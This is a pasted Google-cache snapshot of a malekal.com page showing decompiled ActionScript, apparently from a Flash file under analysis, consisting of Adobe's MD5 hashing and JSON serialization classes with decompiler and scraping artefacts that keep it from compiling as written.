Advertisement
cephurs

Untitled

Nov 30th, 2012
919
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 256.58 KB | None | 0 0
  1. http://webcache.googleusercontent.com/search?q=cache%3Apjjoint.malekal.com%2Fframes%2F20121120_p15v10v7f910&oq=cache%3Apjjoint.malekal.com%2Fframes%2F20121120_p15v10v7f910&aqs=chrome.0.57j58.1756&sugexp=chrome,mod=1&sourceid=chrome&ie=UTF-8 :
  2.  
  3. This is Google's cache of http://pjjoint.malekal.com/frames/20121120_p15v10v7f910. It is a snapshot of the page as it appeared on Nov 20, 2012 17:29:56 GMT. The current page could have changed in the meantime. Learn more
  4. Tip: To quickly find your search term on this page, press Ctrl+F or ⌘-F (Mac) and use the find bar.
  5.  
  6. Text-only version
  7.  
  8. package com.adobe.crypto {
  9.  
  10. import flash.utils.*;
  11.  
  12. import com.adobe.utils.*;
  13.  
  14.  
  15.  
  16. public class MD5 {
  17.  
  18.  
  19.  
  20. public static var digest:ByteArray;
  21.  
  22.  
  23.  
  24. private static function ff(_arg1:int, _arg2:int, _arg3:int, _arg4:int, _arg5:int, _arg6:int, _arg7:int):int{
  25.  
  26. return (transform(f, _arg1, _arg2, _arg3, _arg4, _arg5, _arg6, _arg7));
  27.  
  28. }
  29.  
  30. private static function f(_arg1:int, _arg2:int, _arg3:int):int{
  31.  
  32. return (((_arg1 & _arg2) | (~(_arg1) & _arg3)));
  33.  
  34. }
  35.  
  36. private static function g(_arg1:int, _arg2:int, _arg3:int):int{
  37.  
  38. return (((_arg1 & _arg3) | (_arg2 & ~(_arg3))));
  39.  
  40. }
  41.  
  42. private static function h(_arg1:int, _arg2:int, _arg3:int):int{
  43.  
  44. return (((_arg1 ^ _arg2) ^ _arg3));
  45.  
  46. }
  47.  
  48. private static function i(_arg1:int, _arg2:int, _arg3:int):int{
  49.  
  50. return ((_arg2 ^ (_arg1 | ~(_arg3))));
  51.  
  52. }
  53.  
  54. private static function transform(_arg1:function, _arg2:int, _arg3:int, _arg4:int, _arg5:int, _arg6:int, _arg7:int, _arg8:int):int{
  55.  
  56. var _local9:int = (((_arg2 + int(_arg1(_arg3, _arg4, _arg5))) + _arg6) + _arg8);
  57.  
  58. return ((IntUtil.rol(_local9, _arg7) + _arg3));
  59.  
  60. }
  61.  
  62. private static function hh(_arg1:int, _arg2:int, _arg3:int, _arg4:int, _arg5:int, _arg6:int, _arg7:int):int{
  63.  
  64. return (transform(h, _arg1, _arg2, _arg3, _arg4, _arg5, _arg6, _arg7));
  65.  
  66. }
  67.  
  68. public static function hash(_arg1:string):string{
  69.  
  70. var _local2:ByteArray = new ByteArray();
  71.  
  72. _local2.writeUTFBytes(_arg1);
  73.  
  74. return (hashBinary(_local2));
  75.  
  76. }
  77.  
  78. private static function createBlocks(_arg1:ByteArray):array{
  79.  
  80. var _local2:array = new array();
  81.  
  82. var _local3:int = (_arg1.length * 8);
  83.  
  84. var _local4 = 0xFF;
  85.  
  86. var _local5:int;
  87.  
  88. while (_local5 < _local3) {
  89.  
  90. _local2[int((_local5 >> 5))] = (_local2[int((_local5 >> 5))] | ((_arg1[(_local5 / 8)] & _local4) << (_local5 % 32)));
  91.  
  92. _local5 = (_local5 + 8);
  93.  
  94. };
  95.  
  96. _local2[int((_local3 >> 5))] = (_local2[int((_local3 >> 5))] | (128 << (_local3 % 32)));
  97.  
  98. _local2[int(((((_local3 + 64) >>> 9) << 4) + 14))] = _local3;
  99.  
  100. return (_local2);
  101.  
  102. }
  103.  
  104. public static function hashBinary(_arg1:ByteArray):string{
  105.  
  106. var _local6:int;
  107.  
  108. var _local7:int;
  109.  
  110. var _local8:int;
  111.  
  112. var _local9:int;
  113.  
  114. var _local2 = 1732584193;
  115.  
  116. var _local3 = -271733879;
  117.  
  118. var _local4 = -1732584194;
  119.  
  120. var _local5 = 271733878;
  121.  
  122. var _local10:array = createBlocks(_arg1);
  123.  
  124. var _local11:int = _local10.length;
  125.  
  126. var _local12:int;
  127.  
  128. while (_local12 < _local11) {
  129.  
  130. _local6 = _local2;
  131.  
  132. _local7 = _local3;
  133.  
  134. _local8 = _local4;
  135.  
  136. _local9 = _local5;
  137.  
  138. _local2 = ff(_local2, _local3, _local4, _local5, _local10[int((_local12 + 0))], 7, -680876936);
  139.  
  140. _local5 = ff(_local5, _local2, _local3, _local4, _local10[int((_local12 + 1))], 12, -389564586);
  141.  
  142. _local4 = ff(_local4, _local5, _local2, _local3, _local10[int((_local12 + 2))], 17, 606105819);
  143.  
  144. _local3 = ff(_local3, _local4, _local5, _local2, _local10[int((_local12 + 3))], 22, -1044525330);
  145.  
  146. _local2 = ff(_local2, _local3, _local4, _local5, _local10[int((_local12 + 4))], 7, -176418897);
  147.  
  148. _local5 = ff(_local5, _local2, _local3, _local4, _local10[int((_local12 + 5))], 12, 1200080426);
  149.  
  150. _local4 = ff(_local4, _local5, _local2, _local3, _local10[int((_local12 + 6))], 17, -1473231341);
  151.  
  152. _local3 = ff(_local3, _local4, _local5, _local2, _local10[int((_local12 + 7))], 22, -45705983);
  153.  
  154. _local2 = ff(_local2, _local3, _local4, _local5, _local10[int((_local12 + 8))], 7, 1770035416);
  155.  
  156. _local5 = ff(_local5, _local2, _local3, _local4, _local10[int((_local12 + 9))], 12, -1958414417);
  157.  
  158. _local4 = ff(_local4, _local5, _local2, _local3, _local10[int((_local12 + 10))], 17, -42063);
  159.  
  160. _local3 = ff(_local3, _local4, _local5, _local2, _local10[int((_local12 + 11))], 22, -1990404162);
  161.  
  162. _local2 = ff(_local2, _local3, _local4, _local5, _local10[int((_local12 + 12))], 7, 1804603682);
  163.  
  164. _local5 = ff(_local5, _local2, _local3, _local4, _local10[int((_local12 + 13))], 12, -40341101);
  165.  
  166. _local4 = ff(_local4, _local5, _local2, _local3, _local10[int((_local12 + 14))], 17, -1502002290);
  167.  
  168. _local3 = ff(_local3, _local4, _local5, _local2, _local10[int((_local12 + 15))], 22, 1236535329);
  169.  
  170. _local2 = gg(_local2, _local3, _local4, _local5, _local10[int((_local12 + 1))], 5, -165796510);
  171.  
  172. _local5 = gg(_local5, _local2, _local3, _local4, _local10[int((_local12 + 6))], 9, -1069501632);
  173.  
  174. _local4 = gg(_local4, _local5, _local2, _local3, _local10[int((_local12 + 11))], 14, 643717713);
  175.  
  176. _local3 = gg(_local3, _local4, _local5, _local2, _local10[int((_local12 + 0))], 20, -373897302);
  177.  
  178. _local2 = gg(_local2, _local3, _local4, _local5, _local10[int((_local12 + 5))], 5, -701558691);
  179.  
  180. _local5 = gg(_local5, _local2, _local3, _local4, _local10[int((_local12 + 10))], 9, 38016083);
  181.  
  182. _local4 = gg(_local4, _local5, _local2, _local3, _local10[int((_local12 + 15))], 14, -660478335);
  183.  
  184. _local3 = gg(_local3, _local4, _local5, _local2, _local10[int((_local12 + 4))], 20, -405537848);
  185.  
  186. _local2 = gg(_local2, _local3, _local4, _local5, _local10[int((_local12 + 9))], 5, 568446438);
  187.  
  188. _local5 = gg(_local5, _local2, _local3, _local4, _local10[int((_local12 + 14))], 9, -1019803690);
  189.  
  190. _local4 = gg(_local4, _local5, _local2, _local3, _local10[int((_local12 + 3))], 14, -187363961);
  191.  
  192. _local3 = gg(_local3, _local4, _local5, _local2, _local10[int((_local12 + 8))], 20, 1163531501);
  193.  
  194. _local2 = gg(_local2, _local3, _local4, _local5, _local10[int((_local12 + 13))], 5, -1444681467);
  195.  
  196. _local5 = gg(_local5, _local2, _local3, _local4, _local10[int((_local12 + 2))], 9, -51403784);
  197.  
  198. _local4 = gg(_local4, _local5, _local2, _local3, _local10[int((_local12 + 7))], 14, 1735328473);
  199.  
  200. _local3 = gg(_local3, _local4, _local5, _local2, _local10[int((_local12 + 12))], 20, -1926607734);
  201.  
  202. _local2 = hh(_local2, _local3, _local4, _local5, _local10[int((_local12 + 5))], 4, -378558);
  203.  
  204. _local5 = hh(_local5, _local2, _local3, _local4, _local10[int((_local12 + 8))], 11, -2022574463);
  205.  
  206. _local4 = hh(_local4, _local5, _local2, _local3, _local10[int((_local12 + 11))], 16, 1839030562);
  207.  
  208. _local3 = hh(_local3, _local4, _local5, _local2, _local10[int((_local12 + 14))], 23, -35309556);
  209.  
  210. _local2 = hh(_local2, _local3, _local4, _local5, _local10[int((_local12 + 1))], 4, -1530992060);
  211.  
  212. _local5 = hh(_local5, _local2, _local3, _local4, _local10[int((_local12 + 4))], 11, 1272893353);
  213.  
  214. _local4 = hh(_local4, _local5, _local2, _local3, _local10[int((_local12 + 7))], 16, -155497632);
  215.  
  216. _local3 = hh(_local3, _local4, _local5, _local2, _local10[int((_local12 + 10))], 23, -1094730640);
  217.  
  218. _local2 = hh(_local2, _local3, _local4, _local5, _local10[int((_local12 + 13))], 4, 681279174);
  219.  
  220. _local5 = hh(_local5, _local2, _local3, _local4, _local10[int((_local12 + 0))], 11, -358537222);
  221.  
  222. _local4 = hh(_local4, _local5, _local2, _local3, _local10[int((_local12 + 3))], 16, -722521979);
  223.  
  224. _local3 = hh(_local3, _local4, _local5, _local2, _local10[int((_local12 + 6))], 23, 76029189);
  225.  
  226. _local2 = hh(_local2, _local3, _local4, _local5, _local10[int((_local12 + 9))], 4, -640364487);
  227.  
  228. _local5 = hh(_local5, _local2, _local3, _local4, _local10[int((_local12 + 12))], 11, -421815835);
  229.  
  230. _local4 = hh(_local4, _local5, _local2, _local3, _local10[int((_local12 + 15))], 16, 530742520);
  231.  
  232. _local3 = hh(_local3, _local4, _local5, _local2, _local10[int((_local12 + 2))], 23, -995338651);
  233.  
  234. _local2 = ii(_local2, _local3, _local4, _local5, _local10[int((_local12 + 0))], 6, -198630844);
  235.  
  236. _local5 = ii(_local5, _local2, _local3, _local4, _local10[int((_local12 + 7))], 10, 1126891415);
  237.  
  238. _local4 = ii(_local4, _local5, _local2, _local3, _local10[int((_local12 + 14))], 15, -1416354905);
  239.  
  240. _local3 = ii(_local3, _local4, _local5, _local2, _local10[int((_local12 + 5))], 21, -57434055);
  241.  
  242. _local2 = ii(_local2, _local3, _local4, _local5, _local10[int((_local12 + 12))], 6, 1700485571);
  243.  
  244. _local5 = ii(_local5, _local2, _local3, _local4, _local10[int((_local12 + 3))], 10, -1894986606);
  245.  
  246. _local4 = ii(_local4, _local5, _local2, _local3, _local10[int((_local12 + 10))], 15, -1051523);
  247.  
  248. _local3 = ii(_local3, _local4, _local5, _local2, _local10[int((_local12 + 1))], 21, -2054922799);
  249.  
  250. _local2 = ii(_local2, _local3, _local4, _local5, _local10[int((_local12 + 8))], 6, 1873313359);
  251.  
  252. _local5 = ii(_local5, _local2, _local3, _local4, _local10[int((_local12 + 15))], 10, -30611744);
  253.  
  254. _local4 = ii(_local4, _local5, _local2, _local3, _local10[int((_local12 + 6))], 15, -1560198380);
  255.  
  256. _local3 = ii(_local3, _local4, _local5, _local2, _local10[int((_local12 + 13))], 21, 1309151649);
  257.  
  258. _local2 = ii(_local2, _local3, _local4, _local5, _local10[int((_local12 + 4))], 6, -145523070);
  259.  
  260. _local5 = ii(_local5, _local2, _local3, _local4, _local10[int((_local12 + 11))], 10, -1120210379);
  261.  
  262. _local4 = ii(_local4, _local5, _local2, _local3, _local10[int((_local12 + 2))], 15, 718787259);
  263.  
  264. _local3 = ii(_local3, _local4, _local5, _local2, _local10[int((_local12 + 9))], 21, -343485551);
  265.  
  266. _local2 = (_local2 + _local6);
  267.  
  268. _local3 = (_local3 + _local7);
  269.  
  270. _local4 = (_local4 + _local8);
  271.  
  272. _local5 = (_local5 + _local9);
  273.  
  274. _local12 = (_local12 + 16);
  275.  
  276. };
  277.  
  278. digest = new ByteArray();
  279.  
  280. digest.writeInt(_local2);
  281.  
  282. digest.writeInt(_local3);
  283.  
  284. digest.writeInt(_local4);
  285.  
  286. digest.writeInt(_local5);
  287.  
  288. digest.position = 0;
  289.  
  290. return ((((IntUtil.toHex(_local2) + IntUtil.toHex(_local3)) + IntUtil.toHex(_local4)) + IntUtil.toHex(_local5)));
  291.  
  292. }
  293.  
  294. private static function gg(_arg1:int, _arg2:int, _arg3:int, _arg4:int, _arg5:int, _arg6:int, _arg7:int):int{
  295.  
  296. return (transform(g, _arg1, _arg2, _arg3, _arg4, _arg5, _arg6, _arg7));
  297.  
  298. }
  299.  
  300. private static function ii(_arg1:int, _arg2:int, _arg3:int, _arg4:int, _arg5:int, _arg6:int, _arg7:int):int{
  301.  
  302. return (transform(i, _arg1, _arg2, _arg3, _arg4, _arg5, _arg6, _arg7));
  303.  
  304. }
  305.  
  306. public static function hashBytes(_arg1:ByteArray):string{
  307.  
  308. return (hashBinary(_arg1));
  309.  
  310. }
  311.  
  312.  
  313.  
  314. }
  315.  
  316. }//package com.adobe.crypto
  317.  
  318. &#65279;package com.adobe.serialization.json {
  319.  
  320.  
  321.  
  322. public class JSONToken {
  323.  
  324.  
  325.  
  326. private var _value:object;
  327.  
  328. private var _type:int;
  329.  
  330.  
  331.  
  332. public function JSONToken(_arg1:int=-1, _arg2:object=null){
  333.  
  334. _type = _arg1;
  335.  
  336. _value = _arg2;
  337.  
  338. }
  339.  
  340. public function get value():object{
  341.  
  342. return (_value);
  343.  
  344. }
  345.  
  346. public function get type():int{
  347.  
  348. return (_type);
  349.  
  350. }
  351.  
  352. public function set type(_arg1:int):void{
  353.  
  354. _type = _arg1;
  355.  
  356. }
  357.  
  358. public function set value(_arg1:object):void{
  359.  
  360. _value = _arg1;
  361.  
  362. }
  363.  
  364.  
  365.  
  366. }
  367.  
  368. }//package com.adobe.serialization.json
  369.  
  370. &#65279;package com.adobe.serialization.json {
  371.  
  372. import flash.utils.*;
  373.  
  374.  
  375.  
  376. public class JSONEncoder {
  377.  
  378.  
  379.  
  380. private var jsonString:string;
  381.  
  382.  
  383.  
  384. public function JSONEncoder(_arg1){
  385.  
  386. jsonString = convertToString(_arg1);
  387.  
  388. }
  389.  
  390. private function escapeString(_arg1:string):string{
  391.  
  392. var _local3:string;
  393.  
  394. var _local6:string;
  395.  
  396. var _local7:string;
  397.  
  398. var _local2 = "";
  399.  
  400. var _local4:number = _arg1.length;
  401.  
  402. var _local5:int;
  403.  
  404. while (_local5 < _local4) {
  405.  
  406. _local3 = _arg1.charat(_local5);
  407.  
  408. switch (_local3){
  409.  
  410. case "\"":
  411.  
  412. _local2 = (_local2 + "\\\"");
  413.  
  414. break;
  415.  
  416. case "\\":
  417.  
  418. _local2 = (_local2 + "\\\\");
  419.  
  420. break;
  421.  
  422. case "\b":
  423.  
  424. _local2 = (_local2 + "\\b");
  425.  
  426. break;
  427.  
  428. case "\f":
  429.  
  430. _local2 = (_local2 + "\\f");
  431.  
  432. break;
  433.  
  434. case "\n":
  435.  
  436. _local2 = (_local2 + "\\n");
  437.  
  438. break;
  439.  
  440. case "\r":
  441.  
  442. _local2 = (_local2 + "\\r");
  443.  
  444. break;
  445.  
  446. case "\t":
  447.  
  448. _local2 = (_local2 + "\\t");
  449.  
  450. break;
  451.  
  452. default:
  453.  
  454. if (_local3 < " "){
  455.  
  456. _local6 = _local3.charcodeat(0).tostring(16);
  457.  
  458. _local7 = (((_local6.length == 2)) ? "00" : "000");
  459.  
  460. _local2 = (_local2 + (("\\u" + _local7) + _local6));
  461.  
  462. } else {
  463.  
  464. _local2 = (_local2 + _local3);
  465.  
  466. };
  467.  
  468. };
  469.  
  470. _local5++;
  471.  
  472. };
  473.  
  474. return ((("\"" + _local2) + "\""));
  475.  
  476. }
  477.  
  478. private function arrayToString(_arg1:array):string{
  479.  
  480. var _local2 = "";
  481.  
  482. var _local3:int;
  483.  
  484. while (_local3 < _arg1.length) {
  485.  
  486. if (_local2.length > 0){
  487.  
  488. _local2 = (_local2 + ",");
  489.  
  490. };
  491.  
  492. _local2 = (_local2 + convertToString(_arg1[_local3]));
  493.  
  494. _local3++;
  495.  
  496. };
  497.  
  498. return ((("[" + _local2) + "]"));
  499.  
  500. }
  501.  
  502. public function getString():string{
  503.  
  504. return (jsonString);
  505.  
  506. }
  507.  
  508. private function objectToString(_arg1:object):string{
  509.  
  510. var value:* = null;
  511.  
  512. var key:* = null;
  513.  
  514. var v:* = null;
  515.  
  516. var o:* = _arg1;
  517.  
  518. var s:* = "";
  519.  
  520. var classInfo:* = describeType(o);
  521.  
  522. if ([email protected]() == "Object"){
  523.  
  524. for (key in o) {
  525.  
  526. value = o[key];
  527.  
  528. if ((value is function)){
  529.  
  530. } else {
  531.  
  532. if (s.length > 0){
  533.  
  534. s = (s + ",");
  535.  
  536. };
  537.  
  538. s = (s + ((escapeString(key) + ":") + convertToString(value)));
  539.  
  540. };
  541.  
  542. };
  543.  
  544. } else {
  545.  
  546. for each (v in classInfo..*.(((name() == "variable")) || ((name() == "accessor")))) {
  547.  
  548. if (s.length > 0){
  549.  
  550. s = (s + ",");
  551.  
  552. };
  553.  
  554. s = (s + ((escapeString([email protected]()) + ":") + convertToString(o[v.@name])));
  555.  
  556. };
  557.  
  558. };
  559.  
  560. return ((("{" + s) + "}"));
  561.  
  562. }
  563.  
  564. private function convertToString(_arg1):string{
  565.  
  566. if ((_arg1 is string)){
  567.  
  568. return (escapeString((_arg1 as string)));
  569.  
  570. };
  571.  
  572. if ((_arg1 is number)){
  573.  
  574. return (((isfinite((_arg1 as number))) ? _arg1.tostring() : "null"));
  575.  
  576. };
  577.  
  578. if ((_arg1 is boolean)){
  579.  
  580. return (((_arg1) ? "true" : "false"));
  581.  
  582. };
  583.  
  584. if ((_arg1 is array)){
  585.  
  586. return (arrayToString((_arg1 as array)));
  587.  
  588. };
  589.  
  590. if ((((_arg1 is object)) && (!((_arg1 == null))))){
  591.  
  592. return (objectToString(_arg1));
  593.  
  594. };
  595.  
  596. return ("null");
  597.  
  598. }
  599.  
  600.  
  601.  
  602. }
  603.  
  604. }//package com.adobe.serialization.json
  605.  
  606. &#65279;package com.adobe.serialization.json {
  607.  
  608.  
  609.  
  610. public class JSONParseError extends error {
  611.  
  612.  
  613.  
  614. private var _location:int;
  615.  
  616. private var _text:string;
  617.  
  618.  
  619.  
  620. public function JSONParseError(_arg1:string="", _arg2:int=0, _arg3:string=""){
  621.  
  622. super(_arg1);
  623.  
  624. name = "JSONParseError";
  625.  
  626. _location = _arg2;
  627.  
  628. _text = _arg3;
  629.  
  630. }
  631.  
  632. public function get location():int{
  633.  
  634. return (_location);
  635.  
  636. }
  637.  
  638. public function get text():string{
  639.  
  640. return (_text);
  641.  
  642. }
  643.  
  644.  
  645.  
  646. }
  647.  
  648. }//package com.adobe.serialization.json
  649.  
  650. &#65279;package com.adobe.serialization.json {
  651.  
  652.  
  653.  
  654. public class JSONTokenizer {
  655.  
  656.  
  657.  
  658. private var loc:int;
  659.  
  660. private var ch:string;
  661.  
  662. private var obj:object;
  663.  
  664. private var jsonString:string;
  665.  
  666.  
  667.  
  668. public function JSONTokenizer(_arg1:string){
  669.  
  670. jsonString = _arg1;
  671.  
  672. loc = 0;
  673.  
  674. nextChar();
  675.  
  676. }
  677.  
  678. private function skipComments():void{
  679.  
  680. if (ch == "/"){
  681.  
  682. nextChar();
  683.  
  684. switch (ch){
  685.  
  686. case "/":
  687.  
  688. do {
  689.  
  690. nextChar();
  691.  
  692. } while (((!((ch == "\n"))) && (!((ch == "")))));
  693.  
  694. nextChar();
  695.  
  696. break;
  697.  
  698. case "*":
  699.  
  700. nextChar();
  701.  
  702. while (true) {
  703.  
  704. if (ch == "*"){
  705.  
  706. nextChar();
  707.  
  708. if (ch == "/"){
  709.  
  710. nextChar();
  711.  
  712. break;
  713.  
  714. };
  715.  
  716. } else {
  717.  
  718. nextChar();
  719.  
  720. };
  721.  
  722. if (ch == ""){
  723.  
  724. parseError("Multi-line comment not closed");
  725.  
  726. };
  727.  
  728. };
  729.  
  730. break;
  731.  
  732. default:
  733.  
  734. parseError((("Unexpected " + ch) + " encountered (expecting '/' or '*' )"));
  735.  
  736. };
  737.  
  738. };
  739.  
  740. }
  741.  
  742. private function isDigit(_arg1:string):boolean{
  743.  
  744. return ((((_arg1 >= "0")) && ((_arg1 <= "9"))));
  745.  
  746. }
  747.  
  748. private function readString():JSONToken{
  749.  
  750. var _local3:string;
  751.  
  752. var _local4:int;
  753.  
  754. var _local1:JSONToken = new JSONToken();
  755.  
  756. _local1.type = JSONTokenType.string;
  757.  
  758. var _local2 = "";
  759.  
  760. nextChar();
  761.  
  762. while (((!((ch == "\""))) && (!((ch == ""))))) {
  763.  
  764. if (ch == "\\"){
  765.  
  766. nextChar();
  767.  
  768. switch (ch){
  769.  
  770. case "\"":
  771.  
  772. _local2 = (_local2 + "\"");
  773.  
  774. break;
  775.  
  776. case "/":
  777.  
  778. _local2 = (_local2 + "/");
  779.  
  780. break;
  781.  
  782. case "\\":
  783.  
  784. _local2 = (_local2 + "\\");
  785.  
  786. break;
  787.  
  788. case "b":
  789.  
  790. _local2 = (_local2 + "\b");
  791.  
  792. break;
  793.  
  794. case "f":
  795.  
  796. _local2 = (_local2 + "\f");
  797.  
  798. break;
  799.  
  800. case "n":
  801.  
  802. _local2 = (_local2 + "\n");
  803.  
  804. break;
  805.  
  806. case "r":
  807.  
  808. _local2 = (_local2 + "\r");
  809.  
  810. break;
  811.  
  812. case "t":
  813.  
  814. _local2 = (_local2 + "\t");
  815.  
  816. break;
  817.  
  818. case "u":
  819.  
  820. _local3 = "";
  821.  
  822. _local4 = 0;
  823.  
  824. while (_local4 < 4) {
  825.  
  826. if (!isHexDigit(nextChar())){
  827.  
  828. parseError((" Excepted a hex digit, but found: " + ch));
  829.  
  830. };
  831.  
  832. _local3 = (_local3 + ch);
  833.  
  834. _local4++;
  835.  
  836. };
  837.  
  838. _local2 = (_local2 + string.fromcharcode(parseint(_local3, 16)));
  839.  
  840. break;
  841.  
  842. default:
  843.  
  844. _local2 = (_local2 + ("\\" + ch));
  845.  
  846. };
  847.  
  848. } else {
  849.  
  850. _local2 = (_local2 + ch);
  851.  
  852. };
  853.  
  854. nextChar();
  855.  
  856. };
  857.  
  858. if (ch == ""){
  859.  
  860. parseError("Unterminated string literal");
  861.  
  862. };
  863.  
  864. nextChar();
  865.  
  866. _local1.value = _local2;
  867.  
  868. return (_local1);
  869.  
  870. }
  871.  
  872. private function nextChar():string{
  873.  
  874. return ((ch = jsonString.charat(loc++)));
  875.  
  876. }
  877.  
  878. public function getNextToken():JSONToken{
  879.  
  880. var _local2:string;
  881.  
  882. var _local3:string;
  883.  
  884. var _local4:string;
  885.  
  886. var _local1:JSONToken = new JSONToken();
  887.  
  888. skipIgnored();
  889.  
  890. switch (ch){
  891.  
  892. case "{":
  893.  
  894. _local1.type = JSONTokenType.LEFT_BRACE;
  895.  
  896. _local1.value = "{";
  897.  
  898. nextChar();
  899.  
  900. break;
  901.  
  902. case "}":
  903.  
  904. _local1.type = JSONTokenType.RIGHT_BRACE;
  905.  
  906. _local1.value = "}";
  907.  
  908. nextChar();
  909.  
  910. break;
  911.  
  912. case "[":
  913.  
  914. _local1.type = JSONTokenType.LEFT_BRACKET;
  915.  
  916. _local1.value = "[";
  917.  
  918. nextChar();
  919.  
  920. break;
  921.  
  922. case "]":
  923.  
  924. _local1.type = JSONTokenType.RIGHT_BRACKET;
  925.  
  926. _local1.value = "]";
  927.  
  928. nextChar();
  929.  
  930. break;
  931.  
  932. case ",":
  933.  
  934. _local1.type = JSONTokenType.COMMA;
  935.  
  936. _local1.value = ",";
  937.  
  938. nextChar();
  939.  
  940. break;
  941.  
  942. case ":":
  943.  
  944. _local1.type = JSONTokenType.COLON;
  945.  
  946. _local1.value = ":";
  947.  
  948. nextChar();
  949.  
  950. break;
  951.  
  952. case "t":
  953.  
  954. _local2 = ((("t" + nextChar()) + nextChar()) + nextChar());
  955.  
  956. if (_local2 == "true"){
  957.  
  958. _local1.type = JSONTokenType.true;
  959.  
  960. _local1.value = true;
  961.  
  962. nextChar();
  963.  
  964. } else {
  965.  
  966. parseError(("Expecting 'true' but found " + _local2));
  967.  
  968. };
  969.  
  970. break;
  971.  
  972. case "f":
  973.  
  974. _local3 = (((("f" + nextChar()) + nextChar()) + nextChar()) + nextChar());
  975.  
  976. if (_local3 == "false"){
  977.  
  978. _local1.type = JSONTokenType.false;
  979.  
  980. _local1.value = false;
  981.  
  982. nextChar();
  983.  
  984. } else {
  985.  
  986. parseError(("Expecting 'false' but found " + _local3));
  987.  
  988. };
  989.  
  990. break;
  991.  
  992. case "n":
  993.  
  994. _local4 = ((("n" + nextChar()) + nextChar()) + nextChar());
  995.  
  996. if (_local4 == "null"){
  997.  
  998. _local1.type = JSONTokenType.null;
  999.  
  1000. _local1.value = null;
  1001.  
  1002. nextChar();
  1003.  
  1004. } else {
  1005.  
  1006. parseError(("Expecting 'null' but found " + _local4));
  1007.  
  1008. };
  1009.  
  1010. break;
  1011.  
  1012. case "\"":
  1013.  
  1014. _local1 = readString();
  1015.  
  1016. break;
  1017.  
  1018. default:
  1019.  
  1020. if (((isDigit(ch)) || ((ch == "-")))){
  1021.  
  1022. _local1 = readNumber();
  1023.  
  1024. } else {
  1025.  
  1026. if (ch == ""){
  1027.  
  1028. return (null);
  1029.  
  1030. };
  1031.  
  1032. parseError((("Unexpected " + ch) + " encountered"));
  1033.  
  1034. };
  1035.  
  1036. };
  1037.  
  1038. return (_local1);
  1039.  
  1040. }
  1041.  
  1042. private function skipWhite():void{
  1043.  
  1044. while (isWhiteSpace(ch)) {
  1045.  
  1046. nextChar();
  1047.  
  1048. };
  1049.  
  1050. }
  1051.  
  1052. public function parseError(_arg1:string):void{
  1053.  
  1054. throw (new JSONParseError(_arg1, loc, jsonString));
  1055.  
  1056. }
  1057.  
  1058. private function isWhiteSpace(_arg1:string):boolean{
  1059.  
  1060. return ((((((((_arg1 == " ")) || ((_arg1 == "\t")))) || ((_arg1 == "\n")))) || ((_arg1 == "\r"))));
  1061.  
  1062. }
  1063.  
  1064. private function skipIgnored():void{
  1065.  
  1066. var _local1:int;
  1067.  
  1068. do {
  1069.  
  1070. _local1 = loc;
  1071.  
  1072. skipWhite();
  1073.  
  1074. skipComments();
  1075.  
  1076. } while (_local1 != loc);
  1077.  
  1078. }
  1079.  
  1080. private function isHexDigit(_arg1:string):boolean{
  1081.  
  1082. var _local2:string = _arg1.touppercase();
  1083.  
  1084. return (((isDigit(_arg1)) || ((((_local2 >= "A")) && ((_local2 <= "F"))))));
  1085.  
  1086. }
  1087.  
  1088. private function readNumber():JSONToken{
  1089.  
  1090. var _local1:JSONToken = new JSONToken();
  1091.  
  1092. _local1.type = JSONTokenType.number;
  1093.  
  1094. var _local2 = "";
  1095.  
  1096. if (ch == "-"){
  1097.  
  1098. _local2 = (_local2 + "-");
  1099.  
  1100. nextChar();
  1101.  
  1102. };
  1103.  
  1104. if (!isDigit(ch)){
  1105.  
  1106. parseError("Expecting a digit");
  1107.  
  1108. };
  1109.  
  1110. if (ch == "0"){
  1111.  
  1112. _local2 = (_local2 + ch);
  1113.  
  1114. nextChar();
  1115.  
  1116. if (isDigit(ch)){
  1117.  
  1118. parseError("A digit cannot immediately follow 0");
  1119.  
  1120. };
  1121.  
  1122. } else {
  1123.  
  1124. while (isDigit(ch)) {
  1125.  
  1126. _local2 = (_local2 + ch);
  1127.  
  1128. nextChar();
  1129.  
  1130. };
  1131.  
  1132. };
  1133.  
  1134. if (ch == "."){
  1135.  
  1136. _local2 = (_local2 + ".");
  1137.  
  1138. nextChar();
  1139.  
  1140. if (!isDigit(ch)){
  1141.  
  1142. parseError("Expecting a digit");
  1143.  
  1144. };
  1145.  
  1146. while (isDigit(ch)) {
  1147.  
  1148. _local2 = (_local2 + ch);
  1149.  
  1150. nextChar();
  1151.  
  1152. };
  1153.  
  1154. };
  1155.  
  1156. if ((((ch == "e")) || ((ch == "E")))){
  1157.  
  1158. _local2 = (_local2 + "e");
  1159.  
  1160. nextChar();
  1161.  
  1162. if ((((ch == "+")) || ((ch == "-")))){
  1163.  
  1164. _local2 = (_local2 + ch);
  1165.  
  1166. nextChar();
  1167.  
  1168. };
  1169.  
  1170. if (!isDigit(ch)){
  1171.  
  1172. parseError("Scientific notation number needs exponent value");
  1173.  
  1174. };
  1175.  
  1176. while (isDigit(ch)) {
  1177.  
  1178. _local2 = (_local2 + ch);
  1179.  
  1180. nextChar();
  1181.  
  1182. };
  1183.  
  1184. };
  1185.  
  1186. var _local3:number = number(_local2);
  1187.  
  1188. if (((isfinite(_local3)) && (!(isnan(_local3))))){
  1189.  
  1190. _local1.value = _local3;
  1191.  
  1192. return (_local1);
  1193.  
  1194. };
  1195.  
  1196. parseError((("Number " + _local3) + " is not valid!"));
  1197.  
  1198. return (null);
  1199.  
  1200. }
  1201.  
  1202.  
  1203.  
  1204. }
  1205.  
  1206. }//package com.adobe.serialization.json
  1207.  
  1208. &#65279;package com.adobe.serialization.json {
  1209.  
  1210.  
  1211.  
  1212. public class JSONTokenType {
  1213.  
  1214.  
  1215.  
  1216. public static const number:int = 11;
  1217.  
  1218. public static const false:int = 8;
  1219.  
  1220. public static const RIGHT_BRACKET:int = 4;
  1221.  
  1222. public static const null:int = 9;
  1223.  
  1224. public static const true:int = 7;
  1225.  
  1226. public static const RIGHT_BRACE:int = 2;
  1227.  
  1228. public static const UNKNOWN:int = -1;
  1229.  
  1230. public static const COMMA:int = 0;
  1231.  
  1232. public static const LEFT_BRACKET:int = 3;
  1233.  
  1234. public static const string:int = 10;
  1235.  
  1236. public static const LEFT_BRACE:int = 1;
  1237.  
  1238. public static const COLON:int = 6;
  1239.  
  1240.  
  1241.  
  1242. }
  1243.  
  1244. }//package com.adobe.serialization.json
  1245.  
  1246. &#65279;package com.adobe.serialization.json {
  1247.  
  1248.  
  1249.  
  1250. public class JSONDecoder {
  1251.  
  1252.  
  1253.  
  1254. private var value;
  1255.  
